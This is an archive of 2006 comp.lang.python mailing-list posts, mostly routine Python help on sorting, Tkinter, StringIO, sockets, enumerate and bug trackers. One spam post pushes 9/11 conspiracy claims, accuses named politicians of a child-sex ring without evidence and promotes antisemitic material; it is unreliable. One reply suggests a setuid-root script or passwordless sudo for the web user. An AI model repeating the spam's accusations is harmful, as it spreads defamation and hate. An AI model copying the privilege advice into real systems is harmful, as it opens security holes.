item_in_another_list Message-ID: <2773CAC687FD5F4689F526998C7E4E5FF1EAFB@au3010avexu1.global.avaya.com> Fredrik Lundh wrote: > Delaney, Timothy (Tim) wrote: > >> This is a requirement for all implementations claiming to be 2.3 or >> higher. > > the language reference only guarantees this for CPython: > > The C implementation of Python 2.3 introduced a stable > sort() method, but code that intends to be portable across > implementations and versions must not rely on stability. http://docs.python.org/lib/typesseq-mutable.html (9) Starting with Python 2.3, the sort() method is guaranteed to be stable. A sort is stable if it guarantees not to change the relative order of elements that compare equal -- this is helpful for sorting in multiple passes (for example, sort by department, then by salary grade). That says pretty strongly to me that it's part of the language specification. And I'm pretty sure Guido said as much when he pronounced. Tim Delaney From sjmachin at lexicon.net Sun Oct 8 09:23:24 2006 From: sjmachin at lexicon.net (John Machin) Date: 8 Oct 2006 06:23:24 -0700 Subject: Bizzare lst length problem In-Reply-To: References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312065.656400.275770@k70g2000cwa.googlegroups.com> <1160313168.683964.242350@c28g2000cwb.googlegroups.com> Message-ID: <1160313804.076356.278210@c28g2000cwb.googlegroups.com> Theerasak Photha wrote: > On 8 Oct 2006 06:12:48 -0700, John Machin wrote: > > > > > Show us the code that is creating instances of the panel class ... > > > > panel1 = > > panel(number=?,level=?,location=?,mops=????????????????,matrix=?) > > What are you passing as the 4th positional arg > > ^^^^^^^^^^^^^^^^^^^^^^^ ??? > > This is wholly unnecessary. > > -- Theerasak What is wholly unnecessary? From rowen at cesmail.net Wed Oct 4 14:15:48 2006 From: rowen at cesmail.net (Russell E. Owen) Date: Wed, 04 Oct 2006 11:15:48 -0700 Subject: Python/Tkinter crash. References: Message-ID: In article , "Hendrik van Rooyen" wrote: >Hi, > >I get the following: > >hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py >UpdateStringProc should not be invoked for type font >Aborted >... >Everything seems to work fine. - there is a thread that runs to move the meter >values around continuously, and this has been stable for some time now, and I >can get the various "machine" parts to move around the screen by pushing the >buttons... You mention threads several times in your posting. Do you have multiple threads talking to Tkinter? If so, try recoding to avoid this (e.g. by having the background threads communicate with the main thread via Queues). -- Russell From tier at inbox.ru Tue Oct 24 08:48:58 2006 From: tier at inbox.ru (Roman Petrichev) Date: Tue, 24 Oct 2006 16:48:58 +0400 Subject: multythreading app memory consumption In-Reply-To: <453DDCF4.3030106@bullseye.andymac.org> References: <453DDCF4.3030106@bullseye.andymac.org> Message-ID: <453E0BBA.7020409@inbox.ru> Thank you guys for your replies. I've just realized that there was no memory leak and it was just my mistake to think so. I've almost disappointed with my favorite programming language before addressing the problem. Actually the app consume as much memory as it should and I've just miscalculated. Regards From gerrit at nl.linux.org Tue Oct 3 13:24:41 2006 From: gerrit at nl.linux.org (Gerrit Holl) Date: Tue, 3 Oct 2006 19:24:41 +0200 Subject: PEP 358 and operations on bytes Message-ID: <20061003172441.GA28391@topjaklont.student.utwente.nl> Hi, In Python 3, reading from a file gives bytes rather than characters. Some operations currently performed on strings also make sense when performed on bytes, either if it's binary data or if it's text of unknown or mixed encoding. Those include of course slicing and other operators that exist in lists, but also other operations that aren't currently defined in PEP 358, like: - str methods endswith, find, partition, replace, split(lines), startswith, - Regular expressions I think those can be useful on a bytes type. Perhaps bytes and str could share a common parent class? They certainly share a lot of properties and possible operations one might want to perform. kind regards, Gerrit Holl. -- My first English-language post ever was made to this newsgroup: http://groups.google.com/group/comp.lang.python/msg/f957acf785ddfb71 :) From g.brandl-nospam at gmx.net Sun Oct 29 09:16:05 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Sun, 29 Oct 2006 15:16:05 +0100 Subject: enumerate improvement proposal In-Reply-To: References: Message-ID: James Stroud wrote: > I think that it would be handy for enumerate to behave as such: > > def enumerate(itrbl, start=0, step=1): > i = start > for it in itrbl: > yield (i, it) > i += step > > This allows much more flexibility than in the current enumerate, > tightens up code in many cases, and seems that it would break no > existing code. Yes, I have needed this behavior with enumerate, like > tonight and the current example. I put the "step" parameter in for > conceptual symmetry with slicing. > > Here is a case use (or is it use case?): Incidentally, I yesterday wrote a patch giving enumerate() a start parameter (and, more importantly, changing it so that it doesn't wraparound at sys.maxint). It can be found here: https://sourceforge.net/tracker/?func=detail&atid=305470&aid=1586315&group_id=5470 Georg From paul at subsignal.org Mon Oct 16 09:21:11 2006 From: paul at subsignal.org (paul) Date: Mon, 16 Oct 2006 15:21:11 +0200 Subject: Convert StringIO to string In-Reply-To: <021201c6f11e$44bdf350$fde92452@bowlas> References: <021201c6f11e$44bdf350$fde92452@bowlas> Message-ID: Jonathan Bowlas schrieb: > Hi listers, > > I've written this little script to generate some html but I cannot get it to > convert to a string so I can perform a replace() on the >, < > characters that get returned. > > from StringIO import StringIO > > def generator_file(rsspath,titleintro,tickeropt): > scripter=StringIO() > scripter.write('\n') > return scripter.getvalue() > > I tried adding this: > > scripter = scripter.replace("<", "<") > scripter = scripter.replace(">", ">") I'm not sure why you are using a StringIO instance here, but the standard library has all you need: from StringIO import StringIO from xml.sax.saxutils import escape, unescape def generator_file(rsspath, titleintro, tickeropts): #unescape your strings first rsspath, titleintro, tickeropts = map(unescape, [rsspath, titleintro, tickeropts]) scripter=StringIO() scripter.write('\n') return scripter.getvalue() I'm still curious what all this StringIO stuff is for ;) cheers Paul From steve at holdenweb.com Mon Oct 2 11:36:24 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 02 Oct 2006 16:36:24 +0100 Subject: How can I correct an error in an old post? In-Reply-To: References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: Jorgen Grahn wrote: > On 1 Oct 2006 10:18:59 -0700, barakad at gmail.com wrote: > .... > >>and I wish to add my findings to the post, to prevent others from >>taking the wrong path. > > >>When I tried to replay to the post I received a reject message stating >>that it is impossible to replay to the topic since it is old and was >>closed by a manager. > > > That's through the Google Groups Usenet interface, right? Because on Usenet, > that's misleading at best -- we have no managers, and noone can "close a > topic". (It's alright for them to add this extra limitation, of course.) > > >>The question is how can I add this correction? > > > In Usenet terms, make a posting with a References: header which mentions the > Message-ID of the bad posting (just like this posting references yours, if > you look closely at the headers). That's easier if the posting hasn't > already expired on your server, but by no means impossible if it has. > > /Jorgen > Since this message was never on topic, I'd appreciate it if all concerned would close this thread now. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From p.lavarre at ieee.org Wed Oct 18 11:30:36 2006 From: p.lavarre at ieee.org (p.lavarre at ieee.org) Date: 18 Oct 2006 08:30:36 -0700 Subject: doctest quiet again before exit how References: <1161043970.812443.252220@m7g2000cwm.googlegroups.com> Message-ID: <1161185436.494520.301650@b28g2000cwb.googlegroups.com> > ... every run of doctest after the first is verbose ... > *** DocTestRunner.merge: '__main__' in both testers; summing outcomes. Another path to the same bug: import doctest print doctest.testfile(__file__, verbose=False) print doctest.testfile(__file__, verbose=False) Mystifiedly yours, rank Python newbie, Pat LaVarre From steve at holdenweb.com Wed Oct 4 10:23:25 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 04 Oct 2006 15:23:25 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: <1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159908166.587313.57370@i3g2000cwc.googlegroups.com> <7xr6xo97nd.fsf@ruckus.brouhaha.com> <87ac4ciynk.fsf@benfinney.id.au> <1hmownm.1krarjq16rt74aN%dialUAZ###UZ#$AAtone@gWARAmail.com> Message-ID: Valentino Volonghi aka Dialtone wrote: > Terry Reedy wrote: > > >>As I understood B.C.'s announcement, that was one of the judging criteria, >>and the plan is for PSF to get a daily backup dump of the data. > > > This had nothing to do with the choice of not using Trac or Launchpad. > > Quoting Brett Cannon from the original mail: > "" > As for Trac and Launchpad, both had fundamental issues that led to them > not being chosen in the end. Most of the considerations had to do with > customization or UI problems. > "" > > So clearly the 'get a daily backup of the data' is not the reason. > Backing up a sqlite database is pretty easy. > Do you have any idea fo the scale of the Python issue (bug) database? Do you really think SQLite would be a suitable platform for it? regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From fredrik at pythonware.com Sun Oct 22 14:04:25 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 22 Oct 2006 20:04:25 +0200 Subject: How to print a file in binary mode In-Reply-To: <1161534573.273402.148740@k70g2000cwa.googlegroups.com> References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com> <1161524030.833422.216370@k70g2000cwa.googlegroups.com> <1161533394.483372.140500@m7g2000cwm.googlegroups.com> <1161534573.273402.148740@k70g2000cwa.googlegroups.com> Message-ID: Lucas wrote: > # How can I display a.jpg's binary code? looks like you're confusing binary numbers with binary files: http://en.wikipedia.org/wiki/Binary_numeral_system http://en.wikipedia.org/wiki/Binary_file you don't really need the former to encrypt the contents of the file; algorithms tend to work just fine no matter what number system you use to represent the input and output data. From g.brandl-nospam at gmx.net Mon Oct 9 08:32:01 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Mon, 09 Oct 2006 14:32:01 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Magnus Lycka wrote: > Fredrik Lundh wrote: >> you're not on the infrastructure list, I hear. > > I tried to figure out where that list is, so I could have > a look at the archives, but I didn't find it in the (for > me) obvious places. Could someone please provide a link > to the archives for this mailing list, or aren't there > any public archives of them? Only for PSF members? The archives are viewable for list members. The list info is at http://mail.python.org/mailman/listinfo/infrastructure >> python.org could still need a few more roundup volunteers, > > but it's not like nobody's prepared to contribute manhours. > > don't underestimate the community. > > So, how many have offered to help? Is this information > available in some public repository? Not yet, as it seems. Georg From hiroc13 at hotmail.com Wed Oct 4 04:18:12 2006 From: hiroc13 at hotmail.com (hiroc) Date: 4 Oct 2006 01:18:12 -0700 Subject: hex sending Message-ID: <1159949891.962523.182880@c28g2000cwb.googlegroups.com> s.send("abc") # send test string I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc" hoW? From r3bol at yahoo.com Sun Oct 8 08:09:32 2006 From: r3bol at yahoo.com (r3bol at yahoo.com) Date: 8 Oct 2006 05:09:32 -0700 Subject: Newbie - Stuck Message-ID: <1160309372.750331.8140@m7g2000cwm.googlegroups.com> The perl version of this code works but not the python version. What am I doing wrong? message = "abc" password = "z12" scrambled = message ^ password I also wondered why this errored as well... int(messege) Is it not meant to convert a string to a number? From enleverlesX.XmcX at XmclaveauX.com Fri Oct 6 14:18:27 2006 From: enleverlesX.XmcX at XmclaveauX.com (Méta-MCI) Date: Fri, 6 Oct 2006 20:18:27 +0200 Subject: News on versions modules for Python-2.5? Message-ID: <45269df8$0$25949$ba4acef3@news.orange.fr> Hi, all! Any news, on release Python-2.5 for many modules/lib? Some exemples: Console (Effbot) SciPy Iconvcodec DirectPython SendKeys Dislin PyGame Twain etc. And who can confirm that these modules are independent of Python version? ReportLab Pyrex ComTypes PythonNet Gmpy Kodos Candygram Venster etc. (tip: I am on windows, and I don't can/know compile any module) Thanks by advance, and sorry for eventuals troubles (and for my "super" english)... Michel Claveau From chrispatton at gmail.com Sun Oct 15 00:22:17 2006 From: chrispatton at gmail.com (Chris) Date: 14 Oct 2006 21:22:17 -0700 Subject: problem with the 'math' module in 2.5? In-Reply-To: References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com> Message-ID: <1160886137.302215.3260@h48g2000cwc.googlegroups.com> I don't understand what that number came from. My calculator gives me cos(pi*.5) = 0, and my interpreter gives me cos(pi*0.5) = 6.1230317691118863e-017. Max Erickson wrote: > Max Erickson wrote: > > > > Try sin(pi*0.5) to see similar behavior to cos(pi) or cos(pi*2). > > > > Uhh, switch that, cos(pi*0.5)... From timr at probo.com Thu Oct 5 03:38:45 2006 From: timr at probo.com (Tim Roberts) Date: Thu, 05 Oct 2006 07:38:45 GMT Subject: hex sending References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com> Message-ID: "hiroc" wrote: >s.send("abc") # send test string > >I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc" > >hoW? One ugly way is s.send( "\x10\x06\x00\x0f\x02\xbc\xd1" ) -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From g.brandl-nospam at gmx.net Thu Oct 5 04:56:51 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Thu, 05 Oct 2006 10:56:51 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160004324.651743.280590@b28g2000cwb.googlegroups.com> Message-ID: Fredrik Lundh wrote: > Georg Brandl wrote: > >>> The python foundation suggests a non-python non-open-source bugtracking >>> tool for python. >> >> Actually, it suggests two bugtracking tools, one of them written in >> Python. > > the announcemant's subject line said "recommendation for a new issue > tracker", though; not "we need the community's help before we can make a > final recommendation". Granted. > in fact, only 20% of the announcement talked about Python; the rest was > something that looked a lot like a press release from the non-python > hosting company, so it's not that strange that people missed the few > sentences in the middle that explained that the subject line wasn't > entirely accurate. I actually stopped reading after Brett's signature, so I didn't have the 20% figure in my mind :) Georg From deets at nospam.web.de Thu Oct 5 16:36:20 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Thu, 05 Oct 2006 22:36:20 +0200 Subject: Request for recommendations: shared database without a server In-Reply-To: References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com> <4ol6dhFf62gdU1@uni-berlin.de> Message-ID: <4ol8m5Fev9maU1@uni-berlin.de> Tim Chase schrieb: >> Access might really be the best solution. It is pretty good >> for what it is supposed to do, and the quick prototyping and >> UI-designing are strong arguments for it, especially if there >> already is a bias towards it. >> >> I also _think_ that the whole "db on a shared volume" thing >> works comparably neat. > > Just a caveat from past experience...I've had trouble with Access (at > least older version) sharing DBs on a network drive. It didn't work > /too/ badly, but it scaled horribly. 3 concurrent users was noticably > slow. 5 concurrent users was painful. Above 10 users was agony. Yeah, I recall that dimly, too. But at least it worked, only when putting really much stress on the system it produced inconsistencies such as doubledly assigned ids and the like. Seems to me that they are pretty conservative regarding locking. > Fortunately, I was one of the ones redesigning the replacement system to > actually use a database server. Granted, as merely a PFY at the time, I > didn't have much input into the choice of server (MS-SQLServer) nor into > the language (Visual FoxPro), just got to execute the plans of the > higher-ups. The architectural benefits are for sure, therefore my suggestion to tear down some walls. But VFP really can get messy... and at least the late-90ies, early 21stK ms sql sucked pretty badly, feature-wise access/JET beat the crap out of it any time back then... diez From gioco at nekhem.com Thu Oct 5 12:25:17 2006 From: gioco at nekhem.com (Corrado Gioannini) Date: Thu, 5 Oct 2006 18:25:17 +0200 Subject: Why do this? In-Reply-To: References: Message-ID: <20061005162517.GF1764@zephyr> On Thu, Oct 05, 2006 at 10:48:36AM +0000, Duncan Booth wrote: > The other main reason for preferring format strings is that they make it > easier to refactor the code. If you ever want to move the message away from > where the formatting is done then it's a lot easier to extract a single > string than it is to clean up the concatenation. This is a good point imho. I often do things like this: sql = a_complex_select_sql % (id_foo, value_bar, ...) cursor.execute(sql) inside the body of a function (or a class method), where a_complex_select_sql is a string, containing several %s, %d ecc., that is defined globally (or somewhere else in the class). c. -- "Thought is only a flash between two long nights, but this flash is everything." (H. Poincar?) From tjreedy at udel.edu Tue Oct 10 12:04:32 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Tue, 10 Oct 2006 12:04:32 -0400 Subject: Can't get around "IndexError: list index out of range" References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com><1160332330.684420.276560@e3g2000cwe.googlegroups.com><1160335473.625244.261640@m7g2000cwm.googlegroups.com><1160345922.051578.146630@i3g2000cwc.googlegroups.com> <1160455280.118212.202770@b28g2000cwb.googlegroups.com> Message-ID: "MonkeeSage" wrote in message news:1160455280.118212.202770 at b28g2000cwb.googlegroups.com... > But even so, here is a simple use case from the standard library > (python 2.5 release source): > > In Libs/site.py, lines 302-306: > > try: > for i in range(lineno, lineno + self.MAXLINES): > print self.__lines[i] > except IndexError: > break Is there an outer loop being 'break'ed? If not, it should be pass instead. > With my proposal, that could be written as: > > for i in range(lineno, lineno + self.MAXLINES): > if self.__lines.has_index(i): > print self.__lines[i] > else: > break This break is swallowed by the for loop, so not exactly equivalent, I think. In any case, these are both clumsy and I believe I would instead write something like for i in range(lineno, len(self.__lines)): print self.__lines[i] or even better, use islice -- for line in islice(...): print line So not a persuasive use case to me. Terry Jan Reedy From python.list at tim.thechases.com Sat Oct 7 23:12:34 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Sat, 07 Oct 2006 22:12:34 -0500 Subject: need some regular expression help In-Reply-To: References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com> Message-ID: <45286CA2.4000908@tim.thechases.com> > Why does it need to be a regex? There is a very simple and well-known > algorithm which does what you want. > > Start with i=0. Walk the string one character at a time, incrementing i > each time you see a '(', and decrementing it each time you see a ')'. At > the end of the string, the count should be back to 0. If at any time > during the process, the count goes negative, you've got mis-matched > parentheses. > > The algorithm runs in O(n), same as a regex. > > Regex is a wonderful tool, but it's not the answer to all problems. Following Roy's suggestion, one could use something like: >>> s = '42^((2x+2)sin(x)) + (log(2)/log(5))' >>> d = {'(':1, ')':-1} >>> sum(d.get(c, 0) for c in s) 0 If you get a sum() > 0, then you have too many "(", and if you have sum() < 0, you have too many ")" characters. A sum() of 0 means there's the same number of parens. It still doesn't solve the aforementioned problem of things like ')))(((' which is balanced, but psychotic. :) -tkc From ptmcg at austin.rr._bogus_.com Fri Oct 13 10:12:10 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 13 Oct 2006 14:12:10 GMT Subject: SOAPpy and callback References: <1160690157.961643.248720@m73g2000cwd.googlegroups.com> <4p94a0Fhr1amU1@uni-berlin.de> Message-ID: <_8NXg.46981$DU3.27448@tornado.texas.rr.com> "Diez B. Roggisch" wrote in message news:4p94a0Fhr1amU1 at uni-berlin.de... > fabien.benard at gmail.com schrieb: >> Hello, >> >> I'm trying to find how to use a callback in a SOAP client using SOAPpy. >> Does SOAPpy have to manage it, or does Python include some API to do >> it? > > I've never seen any callback mentioned in SOAP. Are you sure this is > possible with any SOAP implementation, at least standard-wise? > > Diez This is most definitely possible, in fact it is the basis for a new asynchronous data collection standard for semiconductor equipment, Interface A (replacing the ancient SECS/GEM interface, originally designed to work over RS-232). However, it is a major pain to implement. As you suggest, you cannot do this from a simple browser or pure SOAP client. To support SOAP callbacks, the client must also itself be a SOAP server. The client sends its own callback server's URL to the primary server, and when callbacks are needed, they are sent to that callback URL. This really does get quite tricky, though. For one thing, the vagaries of network identification make it unsure whether the URL composed by the client for its callback is meaningful/accessible to the server. In addition, if you are considering implementing this over the untrusted internet, you should use SSL authentication both ways (although this further complicates your client). -- Paul From martin.dion at gmail.com Wed Oct 18 18:19:38 2006 From: martin.dion at gmail.com (martdi) Date: 18 Oct 2006 15:19:38 -0700 Subject: pexpect with apache In-Reply-To: <1161209800.433795.303600@e3g2000cwe.googlegroups.com> References: <1161141336.176386.19650@m73g2000cwd.googlegroups.com> <1161202610.865795.63830@f16g2000cwb.googlegroups.com> <1gxZg.3425$ya1.2766@news02.roc.ny> <1161209800.433795.303600@e3g2000cwe.googlegroups.com> Message-ID: <1161209978.061600.313110@e3g2000cwe.googlegroups.com> Since it wont require pyexpect, and based on the operations you accomplish with your python script, maybe that a bash script instead of a python one might be the best tool for the job you're trying to accomplish. martdi wrote: > Sudo is probably the best solution here, since in the file sudo.conf > you could restrict the www user only to the python script that requires > it. > > Also, using either sudo or the setuid flag would remove the need of > pexpect since all the commands will be run as the designated user. > > for setuid flag: > chmod u+s pythonScript.py > chown root pythonScript.py > > for the sudo solution, add an entry to /etc/sudo.conf or /etc/sudoers , > depending on distro: > the syntax for a line in sudo.conf is: > user hostlist = (userlist) commandlist > > so you might want to add: > www localhost = NOPASSWD: /var/www/htdocs/pythonScript.py > > note: > Replace the /var/www/htdocs/pythonScript.py with the path to where > your script is > the NOPASSWD: is a flag that tells sudo that no password is > required > > Lee Harr wrote: > > > Well, first i don't think it is a good idea to have the python script > > > tu su to root, but for it to work, i think (Totally unsure about that) > > > www has to be in group wheel to be able to su. > > > > > > Maybe sudo can help here. From bignose+hates-spam at benfinney.id.au Thu Oct 19 19:39:06 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Fri, 20 Oct 2006 09:39:06 +1000 Subject: How to use python in TestMaker References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> <1161257895.508598.260290@m7g2000cwm.googlegroups.com> Message-ID: <87pscnyixx.fsf@benfinney.id.au> [Please don't top-post your responses.] "kelin,zzf818 at gmail.com" writes: > I just can't find a good tool to do Unit Test with Python. Could you > please tell me any? Python comes with batteries included. -- \ "I went to a general store. They wouldn't let me buy anything | `\ specifically." -- Steven Wright | _o__) | Ben Finney From jstroud at mbi.ucla.edu Sun Oct 29 06:41:36 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sun, 29 Oct 2006 11:41:36 GMT Subject: enumerate improvement proposal In-Reply-To: References: Message-ID: James Stroud wrote: > I think that it would be handy for enumerate to behave as such: > > def enumerate(itrbl, start=0, step=1): > i = start > for it in itrbl: > yield (i, it) > i += step > > This allows much more flexibility than in the current enumerate, > tightens up code in many cases, and seems that it would break no > existing code. Yes, I have needed this behavior with enumerate, like > tonight and the current example. I put the "step" parameter in for > conceptual symmetry with slicing. > > Here is a case use (or is it use case?): > > > # with the proposed enumerate > import operator > def in_interval(test, bounds, first=1, reverse=False): > op = operator.gt if reverse else operator.lt # python 2.5 > bounds = sorted(bounds, reverse=reverse) > for i, bound in enumerate(bounds, first): > if op(test, bound): > return i > return i + 1 > > > # with the existing enumerate > import operator > def in_interval(test, bounds, first=1, reverse=False): > op = operator.gt if reverse else operator.lt # python 2.5 > bounds = sorted(bounds, reverse=reverse) > for i, bound in enumerate(bounds): > if op(test, bound): > return i + first > return i + first + 1 > > > py> # eg > ... > py> in_interval(8, bounds) > 2 > py> in_interval(1, bounds) > 1 > py> in_interval(1, bounds, reverse=True) > 5 > py> in_interval(8, bounds, reverse=True) > 4 > py> in_interval(20, bounds, reverse=True) > 2 > > Of course, I haven't used step here. Even in this trivial example the > proposed enumerate cleans the code and logic, eliminating a couple of > plus signs. For this real-world example, the practical requirement for > reversing the bins obfuscates somewhat the de-obfuscation provided by > the proposed enumerate. But I think that it might be obvious that the > proposed enumerate could help significantly in cases a bit more > complicated than this one. > > Any thoughts? > > James After a brief reflection, I realized that I just described a "for-to-step-do" style loop one might find in many other languages, most notably BASIC. James From thermate at india.com Tue Oct 3 15:13:32 2006 From: thermate at india.com (thermate at india.com) Date: 3 Oct 2006 12:13:32 -0700 Subject: ** NEW SCIENTIFIC AND FORENSIC JOURNAL LAUNCHED ** and 1MILLION reward Message-ID: <1159902812.245148.153910@m73g2000cwd.googlegroups.com> ===================================================================== Journal of 911 studies: http://www.journalof911studies.com/ ===================================================================== $1 Million Challenge/REWARD Details regarding 9/11: http://reopen911.org/Contest.htm ===================================================================== Background info: http://st911.org/ ===================================================================== REPUBLICANS are ANTICHRIST-FASCIST Bastards, Herbert Bush, Ronald Reagan and NOW Mark Foley, VIDEO EVIDENCE http://video.google.com/videoplay?docid=359924937663867563&q=conspiracy+of+silence&hl=en http://www.voxfux.com/features/bush_child_sex_coverup/franklin.htm There are two main suspects in the child ring were Craig Spence and Lawrence E. King Jr. Below are some pictures of them. Both were involved in the Republican party. King sang the National athem at two republican national conventions during the 1980s. He served time in jail for bank fraud and is now living somewhere on the east coast. Spence was an important Republican lobbyist, who feared that, because he knew something very dark, implicating the very most powerful man in America, George H. W. Bush, that he would be killed by the CIA at his murder would be made to look like a suicide. He was later found dead in a hotel room - the CIA connected coroner declared the bizarre death -suicide. Several of his partners went to jail for being involved in the adult part of the homosexual sex ring. Democrats were also involved in this as well, so don't expect them to expose the sex ring. ===================================================================== HOW 9/11 actually may have happened , WE HAVE BEEN MADE FOOLS OF THE CENTURY by the media From: American Patriot Friends Network http://www.apfn.org/apfn/WTC_STF.htm The only thing to be afraid is cowardice itself. The news is spreading like a jungle fire. In your workplace, send email to everyone and anonymously about this site and other top sites Make a free email account: www.gmail.com ===================================================================== Holocaust Victims Accuse Product #: 10011 Documents and Testimony on Jewish war Criminals by Reb Moshe Shonfeld This out of print book, published in 1977 describing the brutal Zionist role which prevented the rescue of the holocaust victims,has been reproduced with permission of the author. http://www.jewsagainstzionism.com/bookstore/store.cfm?catcode=1&catname=English%20Books www.nkusa.org ===================================================================== From sybrenUSE at YOURthirdtower.com.imagination Mon Oct 16 14:46:14 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Mon, 16 Oct 2006 20:46:14 +0200 Subject: How to send E-mail without an external SMTP server ? References: <1160981517.845397.173540@h48g2000cwc.googlegroups.com> <1160984719.088664.76350@e3g2000cwe.googlegroups.com> Message-ID: fdu.xiaojf at gmail.com enlightened us with: > Yes, I want to find a way to send email without an external smtp server. You can't. Use a DNS server to find the MX record of the destination domain, connect to that SMTP server, then deliver the mail. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From whatintheworldisthat at gmail.com Sat Oct 14 00:09:44 2006 From: whatintheworldisthat at gmail.com (whatintheworldisthat at gmail.com) Date: 13 Oct 2006 21:09:44 -0700 Subject: IDE that uses an external editor? References: <1160779878.373795.74230@f16g2000cwb.googlegroups.com> Message-ID: <1160798984.373754.191970@e3g2000cwe.googlegroups.com> Like said before, pida is a great IDE that supports vim as its external editor and also the default editor called Culebra, I've used pida myself and it has some nice features. It's still rough around the edges and has bugs, but its useable. It's written with the Kiwi framework, wich is a wrapper for PyGTK. It has a codeoutliner pane (using ctags I think, but it looks very clean), file explorer pane, project files, todo list, and even a built in doc viewer (didnt work very wll with some docs). It also has a todolist pane and a pane that displays errors caught by PyLint (very useful). It has a built-in terminal and python interpreter. Supports CVS and SVN for your projects! For the most part I just use Vim alone, but pida definetely seems to have a lot of potential. Be sure to get the latest version; I would use pida if it wasnt for some minor bugs. http://pida.berlios.de/ From tejovathi.p at gmail.com Tue Oct 17 03:58:59 2006 From: tejovathi.p at gmail.com (Teja) Date: 17 Oct 2006 00:58:59 -0700 Subject: COM Error -- Urgent help In-Reply-To: References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com> <45347682$0$25906$ba4acef3@news.orange.fr> <1161070831.102884.37930@e3g2000cwe.googlegroups.com> Message-ID: <1161071939.165951.221510@i42g2000cwa.googlegroups.com> Fredrik Lundh wrote: > Teja wrote: > > > I am sorry. By func(dest) I meant MyNavigate(dest). Can u please help > > me out... > > nobody here can read your mind. please post the code you're actually > using, *and* the error you're getting. > > Thnks for your immediate reply. Here is the code: I have a class GenericFunctions which is defined as follows: import win32com.client, pythoncom, thread ie=win32com.client.Dispatch('internetexplorer.application') ie.Visible=1 class GenericFunctions: def __init__(self): print "In Constructor of Generic Functions" def MyNavigate(self,dest): ie.Navigate(dest) Now there is another file Main.py which is defined as follows: import win32com.client, pythoncom, thread from GenericFunctions import * obj = GenericFunctions() def threadFunction(self,dest): pythoncom.CoInitialize() d=pythoncom.CoGetInterfaceAndReleaseStream(s, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) obj.MyNavigate(dest) # this is gving an error. pythoncom.CoUninitialize() if __name__ == "__main__": s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,i??e) thread.start_new_thread(self.nav, (s,'www.google.com') I am getting an attribute error From breakfastea at gmail.com Fri Oct 6 14:26:46 2006 From: breakfastea at gmail.com (Camellia) Date: 6 Oct 2006 11:26:46 -0700 Subject: humble coin head or tail game script I wrote In-Reply-To: <1160158803.404425.316430@h48g2000cwc.googlegroups.com> References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> <1160158803.404425.316430@h48g2000cwc.googlegroups.com> Message-ID: <1160159206.781049.24930@c28g2000cwb.googlegroups.com> Well...It' doesn't, have you run it yet? its hypothesis is people don't predict a set of things randomly. Oxyd wrote: > Um... It looks to me like it just counts the number of times you > entered 't'... From horpner at yahoo.com Wed Oct 18 22:05:26 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Thu, 19 Oct 2006 02:05:26 GMT Subject: making a valid file name... References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> <1161214360.953216.284600@k70g2000cwa.googlegroups.com> Message-ID: On 2006-10-18, bearophileHUGS at lycos.com wrote: > Tim Chase: >> In practice, however, for such small strings as the given >> whitelist, the underlying find() operation likely doesn't put a >> blip on the radar. If your whitelist were some huge document >> that you were searching repeatedly, it could have worse >> performance. Additionally, the find() in the underlying C code >> is likely about as bare-metal as it gets, whereas the set >> membership aspect of things may go through some more convoluted >> setup/teardown/hashing and spend a lot more time further from the >> processor's op-codes. > > With this specific test (half good half bad), on Py2.5, on my PC, sets > start to be faster than the string search when the string "good" is > about 5-6 chars long (this means set are quite fast, I presume). > > from random import choice, seed > from time import clock > > def main(choice=choice): > seed(1) > n = 100000 > > for good in ("ab", "abc", "abcdef", "abcdefgh", > "abcdefghijklmnopqrstuvwxyz"): > poss = good + good.upper() > data = [choice(poss) for _ in xrange(n)] * 10 > print "len(good) = ", len(good) > > t = clock() > for c in data: > c in good > print round(clock()-t, 2) > > t = clock() > sgood = set(good) > for c in data: > c in sgood > print 